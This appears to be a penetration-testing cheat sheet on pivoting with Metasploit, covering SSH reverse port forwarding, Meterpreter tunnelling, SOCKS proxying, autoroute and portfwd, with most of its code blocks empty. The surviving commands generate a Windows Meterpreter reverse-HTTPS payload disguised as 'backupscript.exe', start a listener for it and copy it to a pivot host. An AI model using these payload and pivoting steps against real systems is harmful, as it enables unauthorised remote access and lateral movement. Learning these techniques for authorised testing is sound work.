๐Ÿ”ƒ(MSF) Remote/Reverse Port Forwarding with SSH

Meterpreter Reverse Shell

Creating a Windows Payload with msfvenom

Code

msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

Configuring & Starting the multi/handler (msfconsole)

Code

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 8000

Transferring Payload to Pivot Host

Code

scp backupscript.exe ubuntu@<ipAddressofTarget>:~/

Starting Python3 Webserver on Pivot Host

Code

Downloading Payload from Windows Target

Code

Using SSH -R

Code

  • -vN: verbose and not to prompt the login shell.

  • -R: asks the Ubuntu server to listen on <targetIPaddress>:8080 and forward all incoming connections on port 8080 to our msfconsole listener on 0.0.0.0:8000 of our attack host

Meterpreter Tunneling & Port Forwarding

Creating Payload for Ubuntu Pivot Host

Code

Configuring & Starting the multi/handler

Code

SCP FILE TRANSFER (Transferring Payload to Pivot Host)

Code

  • -r: transfer the entire repo and the files contained inside a folder

Executing the Payload on the Pivot Host

Code

Ping Sweep

Code

Example

For Loop on Linux Pivot Hosts

For Loop Using CMD

Using PowerShell

Note

  • It is possible that a ping sweep may not result in successful replies on the first attempt, especially when communicating across networks. This can be caused by the time it takes for a host to build it's arp cache. In these cases, it is good to attempt our ping sweep at least twice to ensure the arp cache gets built.

MSF's SOCKS Proxy

Code

Confirming Proxy Server is Running

/etc/proxychains.conf

Code

Note

  • Depending on the version the SOCKS server is running, we may occasionally need to changes socks4 to socks5 in proxychains.conf.

Creating Routes with AutoRoute

msfconsole

  • We can use the post/multi/manage/autoroute module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.

Creating Routes with AutoRoute

Listing Active Routes with AutoRoute

  • -p: list the active routes to make sure our configuration is applied as expected.

Testing Proxy & Routing Functionality

Port Forwarding

Portfwd Options (Meterpreter)

Code

  • -l:

    • Forward: local port to listen on. Reverse: local port to connect to.

  • -p:

    • Forward: remote port to connect to. Reverse: remote port to listen on.

  • -r:

    • Forward: remote host to connect to.

Connecting to Windows Target through localhost

Code

Meterpreter Reverse Port Forwarding

Last updated